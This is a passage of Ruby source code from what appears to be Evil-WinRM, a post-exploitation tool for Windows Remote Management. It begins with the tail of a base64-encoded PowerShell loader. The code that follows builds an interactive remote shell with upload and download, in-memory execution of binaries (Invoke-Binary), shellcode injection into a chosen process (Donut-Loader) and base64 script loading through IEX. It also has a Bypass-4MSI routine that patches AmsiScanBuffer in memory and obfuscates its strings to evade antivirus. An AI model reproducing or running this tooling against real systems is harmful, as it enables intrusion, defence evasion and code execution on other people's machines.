wLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwCltTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGJ5dGVzKSB8IE91dC1OdWxsCiRiYXNlNjQgPSAkZG9udXRmaWxlClthcnJheV0kYXJyYXkgPSAkcHJvY2Vzc19pZCwkQmFzZTY0CltTaGVsbGNvZGVUZXN0LlByb2dyYW1dOjpNYWluKCRhcnJheSkKfQp9CmZ1bmN0aW9uIHNob3ctbWV0aG9kcy1sb2FkZWQgeyRnbG9iYWw6c2hvd21ldGhvZHN9Cg==")
|
516
|
+
command = ""
|
517
|
+
|
518
|
+
begin
|
519
|
+
time = Time.now.to_i
|
520
|
+
self.print_message("Establishing connection to remote endpoint", TYPE_INFO)
|
521
|
+
$conn.shell(:powershell) do |shell|
|
522
|
+
begin
|
523
|
+
completion =
|
524
|
+
proc do |str|
|
525
|
+
case
|
526
|
+
when Readline.line_buffer =~ /help.*/i
|
527
|
+
puts("#{$LIST.join("\t")}")
|
528
|
+
when Readline.line_buffer =~ /Invoke-Binary.*/i
|
529
|
+
result = @executables.grep( /^#{Regexp.escape(str)}/i ) || []
|
530
|
+
if result.empty? then
|
531
|
+
paths = self.paths(str)
|
532
|
+
result.concat(paths.grep( /^#{Regexp.escape(str)}/i ))
|
533
|
+
end
|
534
|
+
result.uniq
|
535
|
+
when Readline.line_buffer =~ /donutfile.*/i
|
536
|
+
paths = self.paths(str)
|
537
|
+
paths.grep( /^#{Regexp.escape(str)}/i )
|
538
|
+
when Readline.line_buffer =~ /Donut-Loader -process_id.*/i
|
539
|
+
$DONUTPARAM2.grep( /^#{Regexp.escape(str)}/i ) unless str.nil?
|
540
|
+
when Readline.line_buffer =~ /Donut-Loader.*/i
|
541
|
+
$DONUTPARAM1.grep( /^#{Regexp.escape(str)}/i ) unless str.nil?
|
542
|
+
when Readline.line_buffer =~ /^upload.*/i
|
543
|
+
test_s = Readline.line_buffer.gsub('\\ ', '\#\#\#\#')
|
544
|
+
if test_s.count(' ') < 2 then
|
545
|
+
self.paths(str) || []
|
546
|
+
else
|
547
|
+
self.complete_path(str, shell) || []
|
548
|
+
end
|
549
|
+
when Readline.line_buffer =~ /^download.*/i
|
550
|
+
test_s = Readline.line_buffer.gsub('\\ ', '\#\#\#\#')
|
551
|
+
if test_s.count(' ') < 2 then
|
552
|
+
self.complete_path(str, shell) || []
|
553
|
+
else
|
554
|
+
paths = self.paths(str)
|
555
|
+
end
|
556
|
+
when (Readline.line_buffer.empty? || !(Readline.line_buffer.include?(' ') || Readline.line_buffer =~ /^\"?(\.\/|\.\.\/|[a-z,A-Z]\:\/|\~\/|\/)/))
|
557
|
+
result = $COMMANDS.grep( /^#{Regexp.escape(str)}/i ) || []
|
558
|
+
result.concat(@functions.grep(/^#{Regexp.escape(str)}/i))
|
559
|
+
result.uniq
|
560
|
+
else
|
561
|
+
result = Array.new
|
562
|
+
result.concat(self.complete_path(str, shell) || [])
|
563
|
+
result
|
564
|
+
end
|
565
|
+
end
|
566
|
+
|
567
|
+
Readline.completion_proc = completion
|
568
|
+
Readline.completion_append_character = ''
|
569
|
+
Readline.completion_case_fold = true
|
570
|
+
Readline.completer_quote_characters = "\""
|
571
|
+
|
572
|
+
until command == "exit" do
|
573
|
+
pwd = shell.run("(get-location).path").output.strip
|
574
|
+
|
575
|
+
if $colors_enabled then
|
576
|
+
command = Readline.readline(self.colorize("*Evil-WinRM*", "red") + self.colorize(" PS ", "yellow") + pwd + "> ", true)
|
577
|
+
else
|
578
|
+
command = Readline.readline("*Evil-WinRM* PS " + pwd + "> ", true)
|
579
|
+
end
|
580
|
+
if !$logger.nil?
|
581
|
+
$logger.info("*Evil-WinRM* PS #{pwd} > #{command}")
|
582
|
+
end
|
583
|
+
|
584
|
+
if command.start_with?('upload') then
|
585
|
+
if self.docker_detection() then
|
586
|
+
puts()
|
587
|
+
self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING, true, $logger)
|
588
|
+
end
|
589
|
+
|
590
|
+
begin
|
591
|
+
paths = self.get_upload_paths(command, pwd)
|
592
|
+
right_path = paths.pop
|
593
|
+
left_path = paths.pop
|
594
|
+
|
595
|
+
self.print_message("Uploading #{left_path} to #{right_path}", TYPE_INFO, true, $logger)
|
596
|
+
file_manager.upload(left_path, right_path) do |bytes_copied, total_bytes|
|
597
|
+
self.progress_bar(bytes_copied, total_bytes)
|
598
|
+
if bytes_copied == total_bytes then
|
599
|
+
puts(" ")
|
600
|
+
self.print_message("#{bytes_copied} bytes of #{total_bytes} bytes copied", TYPE_DATA, true, $logger)
|
601
|
+
self.print_message("Upload successful!", TYPE_INFO, true, $logger)
|
602
|
+
end
|
603
|
+
end
|
604
|
+
rescue StandardError => err
|
605
|
+
self.print_message("#{err.to_s}: #{err.backtrace}", TYPE_ERROR, true, $logger)
|
606
|
+
self.print_message("Upload failed. Check filenames or paths", TYPE_ERROR, true, $logger)
|
607
|
+
ensure
|
608
|
+
command = ""
|
609
|
+
end
|
610
|
+
elsif command.start_with?('download') then
|
611
|
+
if self.docker_detection() then
|
612
|
+
puts()
|
613
|
+
self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING, true, $logger)
|
614
|
+
end
|
615
|
+
|
616
|
+
begin
|
617
|
+
paths = self.get_download_paths(command, pwd)
|
618
|
+
right_path = paths.pop
|
619
|
+
left_path = paths.pop
|
620
|
+
|
621
|
+
self.print_message("Downloading #{left_path} to #{right_path}", TYPE_INFO, true, $logger)
|
622
|
+
size = self.filesize(shell, left_path)
|
623
|
+
file_manager.download(left_path, right_path, size: size) do | index, size |
|
624
|
+
self.progress_bar(index, size)
|
625
|
+
end
|
626
|
+
puts(" ")
|
627
|
+
self.print_message("Download successful!", TYPE_INFO, true, $logger)
|
628
|
+
rescue StandardError => err
|
629
|
+
self.print_message("Download failed. Check filenames or paths", TYPE_ERROR, true, $logger)
|
630
|
+
ensure
|
631
|
+
command = ""
|
632
|
+
end
|
633
|
+
elsif command.start_with?('Invoke-Binary') then
|
634
|
+
begin
|
635
|
+
invoke_Binary = command.tokenize
|
636
|
+
command = ""
|
637
|
+
if !invoke_Binary[1].to_s.empty? then
|
638
|
+
load_executable = invoke_Binary[1]
|
639
|
+
load_executable = File.binread(load_executable)
|
640
|
+
load_executable = Base64.strict_encode64(load_executable)
|
641
|
+
if !invoke_Binary[2].to_s.empty?
|
642
|
+
output = shell.run("Invoke-Binary " + load_executable + " ," + invoke_Binary[2])
|
643
|
+
puts(output.output)
|
644
|
+
elsif invoke_Binary[2].to_s.empty?
|
645
|
+
output = shell.run("Invoke-Binary " + load_executable)
|
646
|
+
puts(output.output)
|
647
|
+
end
|
648
|
+
elsif
|
649
|
+
output = shell.run("Invoke-Binary")
|
650
|
+
puts(output.output)
|
651
|
+
end
|
652
|
+
rescue StandardError => err
|
653
|
+
self.print_message("Check filenames", TYPE_ERROR, true, $logger)
|
654
|
+
end
|
655
|
+
|
656
|
+
elsif command.start_with?('Donut-Loader') then
|
657
|
+
begin
|
658
|
+
donut_Loader = command.tokenize
|
659
|
+
command = ""
|
660
|
+
if !donut_Loader[4].to_s.empty? then
|
661
|
+
pid = donut_Loader[2]
|
662
|
+
load_executable = donut_Loader[4]
|
663
|
+
load_executable = File.binread(load_executable)
|
664
|
+
load_executable = Base64.strict_encode64(load_executable)
|
665
|
+
output = shell.run("Donut-Loader -process_id #{pid} -donutfile #{load_executable}")
|
666
|
+
elsif
|
667
|
+
output = shell.run("Donut-Loader")
|
668
|
+
end
|
669
|
+
print(output.output)
|
670
|
+
if !$logger.nil?
|
671
|
+
$logger.info(output.output)
|
672
|
+
end
|
673
|
+
rescue
|
674
|
+
self.print_message("Check filenames", TYPE_ERROR, true, $logger)
|
675
|
+
end
|
676
|
+
|
677
|
+
elsif command.start_with?('services') then
|
678
|
+
command = ""
|
679
|
+
output = shell.run('$servicios = Get-ItemProperty "registry::HKLM\System\CurrentControlSet\Services\*" | Where-Object {$_.imagepath -notmatch "system" -and $_.imagepath -ne $null } | Select-Object pschildname,imagepath ; foreach ($servicio in $servicios ) {Get-Service $servicio.PSChildName -ErrorAction SilentlyContinue | Out-Null ; if ($? -eq $true) {$privs = $true} else {$privs = $false} ; $Servicios_object = New-Object psobject -Property @{"Service" = $servicio.pschildname ; "Path" = $servicio.imagepath ; "Privileges" = $privs} ; $Servicios_object }')
|
680
|
+
print(output.output.chomp)
|
681
|
+
if !$logger.nil?
|
682
|
+
$logger.info(output.output.chomp)
|
683
|
+
end
|
684
|
+
elsif command.start_with?(*@functions) then
|
685
|
+
self.silent_warnings do
|
686
|
+
load_script = $scripts_path + command
|
687
|
+
command = ""
|
688
|
+
load_script = load_script.gsub(" ","")
|
689
|
+
load_script = File.binread(load_script)
|
690
|
+
load_script = Base64.strict_encode64(load_script)
|
691
|
+
script_split = load_script.scan(/.{1,5000}/)
|
692
|
+
script_split.each do |item|
|
693
|
+
output = shell.run("$a += '#{item}'")
|
694
|
+
end
|
695
|
+
output = shell.run("IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($a))).replace('???','')")
|
696
|
+
output = shell.run("$a = $null")
|
697
|
+
end
|
698
|
+
|
699
|
+
elsif command.start_with?('menu') then
|
700
|
+
command = ""
|
701
|
+
self.silent_warnings do
|
702
|
+
output = shell.run(menu)
|
703
|
+
output = shell.run("Menu")
|
704
|
+
autocomplete = shell.run("auto").output.chomp
|
705
|
+
autocomplete = autocomplete.gsub!(/\r\n?/, "\n")
|
706
|
+
assemblyautocomplete = shell.run("show-methods-loaded").output.chomp
|
707
|
+
assemblyautocomplete = assemblyautocomplete.gsub!(/\r\n?/, "\n")
|
708
|
+
if !assemblyautocomplete.to_s.empty?
|
709
|
+
$LISTASSEMNOW = assemblyautocomplete.split("\n")
|
710
|
+
$LISTASSEM = $LISTASSEM + $LISTASSEMNOW
|
711
|
+
end
|
712
|
+
$LIST2 = autocomplete.split("\n")
|
713
|
+
$LIST = $LIST + $LIST2
|
714
|
+
$COMMANDS = $COMMANDS + $LIST2
|
715
|
+
$COMMANDS = $COMMANDS.uniq
|
716
|
+
message_output = output.output.chomp("\n") + "[+] " + $CMDS.join("\n").gsub(/\n/, "\n[+] ") + "\n\n"
|
717
|
+
puts(message_output)
|
718
|
+
if !$logger.nil?
|
719
|
+
$logger.info(message_output)
|
720
|
+
end
|
721
|
+
end
|
722
|
+
|
723
|
+
elsif (command == "Bypass-4MSI")
|
724
|
+
command = ""
|
725
|
+
timeToWait = (time + 20) - Time.now.to_i
|
726
|
+
|
727
|
+
if timeToWait > 0
|
728
|
+
puts()
|
729
|
+
self.print_message("AV could be still watching for suspicious activity. Waiting for patching...", TYPE_WARNING, true, $logger)
|
730
|
+
@blank_line = true
|
731
|
+
sleep(timeToWait)
|
732
|
+
end
|
733
|
+
if !@Bypass_4MSI_loaded
|
734
|
+
self.load_Bypass_4MSI(shell)
|
735
|
+
@Bypass_4MSI_loaded = true
|
736
|
+
end
|
737
|
+
end
|
738
|
+
output = shell.run(command) do |stdout, stderr|
|
739
|
+
stdout&.each_line do |line|
|
740
|
+
STDOUT.puts(line.rstrip!)
|
741
|
+
end
|
742
|
+
STDERR.print(stderr)
|
743
|
+
end
|
744
|
+
if !$logger.nil? && !command.empty?
|
745
|
+
output_logger=""
|
746
|
+
output.output.each_line do |line|
|
747
|
+
output_logger += "#{line.rstrip!}\n"
|
748
|
+
end
|
749
|
+
$logger.info(output_logger)
|
750
|
+
end
|
751
|
+
end
|
752
|
+
rescue Errno::EACCES => ex
|
753
|
+
puts()
|
754
|
+
self.print_message("An error of type #{ex.class} happened, message is #{ex.message}", TYPE_ERROR, true, $logger)
|
755
|
+
retry
|
756
|
+
rescue Interrupt
|
757
|
+
puts("\n\n")
|
758
|
+
self.print_message("Press \"y\" to exit, press any other key to continue", TYPE_WARNING, true, $logger)
|
759
|
+
if STDIN.getch.downcase == "y"
|
760
|
+
self.custom_exit(130)
|
761
|
+
else
|
762
|
+
retry
|
763
|
+
end
|
764
|
+
end
|
765
|
+
self.custom_exit(0)
|
766
|
+
end
|
767
|
+
rescue SystemExit
|
768
|
+
rescue SocketError
|
769
|
+
self.print_message("Check your /etc/hosts file to ensure you can resolve #{$host}", TYPE_ERROR, true, $logger)
|
770
|
+
self.custom_exit(1)
|
771
|
+
rescue Exception => ex
|
772
|
+
self.print_message("An error of type #{ex.class} happened, message is #{ex.message}", TYPE_ERROR, true, $logger)
|
773
|
+
self.custom_exit(1)
|
774
|
+
end
|
775
|
+
end
|
776
|
+
|
777
|
+
def random_string(len=3)
|
778
|
+
Array.new(len){ [*'0'..'9',*'A'..'Z',*'a'..'z'].sample }.join
|
779
|
+
end
|
780
|
+
|
781
|
+
def random_case(word)
|
782
|
+
word.chars.map { |c| (rand 2) == 0 ? c : c.upcase }.join
|
783
|
+
end
|
784
|
+
|
785
|
+
def get_char_expresion(the_char)
|
786
|
+
rand_val = rand(10000) + rand(100)
|
787
|
+
val = the_char.ord + rand_val
|
788
|
+
char_val = self.random_case("char")
|
789
|
+
|
790
|
+
return "[#{char_val}](#{val.to_s}-#{rand_val.to_s})"
|
791
|
+
end
|
792
|
+
|
793
|
+
def get_byte_expresion(the_char)
|
794
|
+
rand_val = rand(30..120)
|
795
|
+
val = the_char.ord + rand_val
|
796
|
+
char_val = self.random_case("char")
|
797
|
+
byte_val = self.random_case("byte")
|
798
|
+
|
799
|
+
return "[#{char_val}]([#{byte_val}] 0x#{val.to_s(16)}-0x#{rand_val.to_s(16)})"
|
800
|
+
end
|
801
|
+
|
802
|
+
def get_char_raw(the_char)
|
803
|
+
return "\"#{the_char}\""
|
804
|
+
end
|
805
|
+
|
806
|
+
def generate_random_type_string()
|
807
|
+
to_randomize = "AmsiScanBuffer"
|
808
|
+
result = ""
|
809
|
+
to_randomize.chars.each { |c| result += "+#{(rand 2) == 0 ? (rand 2) == 0 ? self.get_char_raw(c): self.get_byte_expresion(c) : self.get_char_expresion(c)}"}
|
810
|
+
result[1..-1]
|
811
|
+
end
|
812
|
+
|
813
|
+
def get_Bypass_4MSI()
|
814
|
+
bypass_template = "JGNvZGUgPSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlczsKcHVibGljIGNsYXNzIGNvZGUgewogICAgW0RsbEltcG9ydCgia2VybmVsMzIiKV0KICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBHZXRQcm9jQWRkcmVzcyhJbnRQdHIgaE1vZHVsZSwgc3RyaW5nIHByb2NOYW1lKTsKICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyIildCiAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgTG9hZExpYnJhcnkoc3RyaW5nIG5hbWUpOwogICAgW0RsbEltcG9ydCgia2VybmVsMzIiKV0KICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIGJvb2wgVmlydHVhbFByb3RlY3QoSW50UHRyIGxwQWRkcmVzcywgVUludFB0ciBydW9xeHAsIHVpbnQgZmxOZXdQcm90ZWN0LCBvdXQgdWludCBscGZsT2xkUHJvdGVjdCk7Cn0KIkAKQWRkLVR5cGUgJGNvZGUKJGZqdGZxd24gPSBbY29kZV06OkxvYWRMaWJyYXJ5KCJhbXNpLmRsbCIpCiNqdW1wCiRqeXV5amcgPSBbY29kZV06OkdldFByb2NBZGRyZXNzKCRmanRmcXduLCAiIiskdmFyMSsiIikKJHAgPSAwCiNqdW1wCiRudWxsID0gW2NvZGVdOjpWaXJ0dWFsUHJvdGVjdCgkanl1eWpnLCBbdWludDMyXTUsIDB4NDAsIFtyZWZdJHApCiRmbnh5ID0gIjB4QjgiCiRmbXh5ID0gIjB4NTciCiRld2FxID0gIjB4MDAiCiR3ZnRjID0gIjB4MDciCiRuZHVnID0gIjB4ODAiCiRobXp4ID0gIjB4QzMiCiNqdW1wCiRsbGZhbSA9IFtCeXRlW11dICgkZm54eSwkZm14eSwkZXdhcSwkd2Z0YywrJG5kdWcsKyRobXp4KQokbnVsbCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkNvcHkoJGxsZmFtLCAwLCAkanl1eWpnLCA2KSA="
|
815
|
+
dec_template = Base64.decode64(bypass_template)
|
816
|
+
result = dec_template.gsub("$var1", self.generate_random_type_string())
|
817
|
+
@bypass_amsi_words_random_case.each {|w| result.gsub!("#{w}", self.random_case(w)) }
|
818
|
+
result
|
819
|
+
end
|
820
|
+
|
821
|
+
def load_Bypass_4MSI(shell)
|
822
|
+
bypass = self.get_Bypass_4MSI()
|
823
|
+
|
824
|
+
if !@blank_line then
|
825
|
+
puts()
|
826
|
+
end
|
827
|
+
self.print_message("Patching 4MSI, please be patient...", TYPE_INFO, true)
|
828
|
+
bypass.split("#jump").each do |item|
|
829
|
+
output = shell.run(item)
|
830
|
+
sleep(2)
|
831
|
+
end
|
832
|
+
|
833
|
+
output = shell.run(bypass)
|
834
|
+
if output.output.empty? then
|
835
|
+
self.print_message("[+] Success!", TYPE_SUCCESS, false)
|
836
|
+
else
|
837
|
+
puts(output.output)
|
838
|
+
end
|
839
|
+
end
|
840
|
+
|
841
|
+
def extract_filename(path)
|
842
|
+
path.split('/')[-1]
|
843
|
+
end
|
844
|
+
|
845
|
+
def extract_next_quoted_path(cmd_with_quoted_path)
|
846
|
+
begin_i = cmd_with_quoted_path.index("\"")
|
847
|
+
l_total = cmd_with_quoted_path.length()
|
848
|
+
next_i = cmd_with_quoted_path[begin_i +1, l_total - begin_i].index("\"")
|
849
|
+
result = cmd_with_quoted_path[begin_i +1, next_i]
|
850
|
+
result
|
851
|
+
end
|
852
|
+
|
853
|
+
def get_upload_paths(upload_command, pwd)
|
854
|
+
quotes = upload_command.count("\"")
|
855
|
+
result = []
|
856
|
+
if quotes == 0 || quotes % 2 != 0 then
|
857
|
+
result = upload_command.split(' ')
|
858
|
+
result.delete_at(0)
|
859
|
+
else
|
860
|
+
quoted_path = self.extract_next_quoted_path(upload_command)
|
861
|
+
upload_command = upload_command.gsub("\"#{quoted_path}\"", '')
|
862
|
+
result = upload_command.split(' ')
|
863
|
+
result.delete_at(0)
|
864
|
+
result.push(quoted_path) unless quoted_path.nil? || quoted_path.empty?
|
865
|
+
end
|
866
|
+
result.push("#{pwd}\\#{self.extract_filename(result[0])}") if result.length == 1
|
867
|
+
result
|
868
|
+
end
|
869
|
+
|
870
|
+
def get_download_paths(download_command, pwd)
|
871
|
+
quotes = download_command.count("\"")
|
872
|
+
result = []
|
873
|
+
if quotes == 0 || quotes % 2 != 0 then
|
874
|
+
result = download_command.split(' ')
|
875
|
+
result.delete_at(0)
|
876
|
+
else
|
877
|
+
quoted_path = self.extract_next_quoted_path(download_command)
|
878
|
+
download_command = download_command.gsub("\"#{quoted_path}\"", '')
|
879
|
+
result.push(quoted_path)
|
880
|
+
rest = download_command.split(' ')
|
881
|
+
unless rest.nil? || rest.empty?
|
882
|
+
rest.delete_at(0)
|
883
|
+
result.push(rest[0]) if rest.length == 1
|
884
|
+
end
|
885
|
+
end
|
886
|
+
|
887
|
+
result.push("./#{self.extract_filename(result[0])}") if result.length == 1
|
888
|
+
result
|
889
|
+
end
|
890
|
+
|
891
|
+
def get_from_cache(n_path)
|
892
|
+
unless n_path.nil? || n_path.empty? then
|
893
|
+
a_path = self.normalize_path(n_path)
|
894
|
+
current_time = Time.now.to_i
|
895
|
+
current_vals = @directories[a_path]
|
896
|
+
result = Array.new
|
897
|
+
unless current_vals.nil? then
|
898
|
+
is_valid = current_vals['time'] > current_time - @cache_ttl
|
899
|
+
result = current_vals['files'] if is_valid
|
900
|
+
@directories.delete(a_path) unless is_valid
|
901
|
+
end
|
902
|
+
|
903
|
+
return result
|
904
|
+
end
|
905
|
+
end
|
906
|
+
|
907
|
+
def set_cache(n_path, paths)
|
908
|
+
unless n_path.nil? || n_path.empty? then
|
909
|
+
a_path = self.normalize_path(n_path)
|
910
|
+
current_time = Time.now.to_i
|
911
|
+
@directories[a_path] = { 'time' => current_time, 'files' => paths }
|
912
|
+
end
|
913
|
+
end
|
914
|
+
|
915
|
+
def normalize_path(str)
|
916
|
+
Regexp.escape(str.to_s.gsub('\\', '/'))
|
917
|
+
end
|
918
|
+
|
919
|
+
def get_dir_parts(n_path)
|
920
|
+
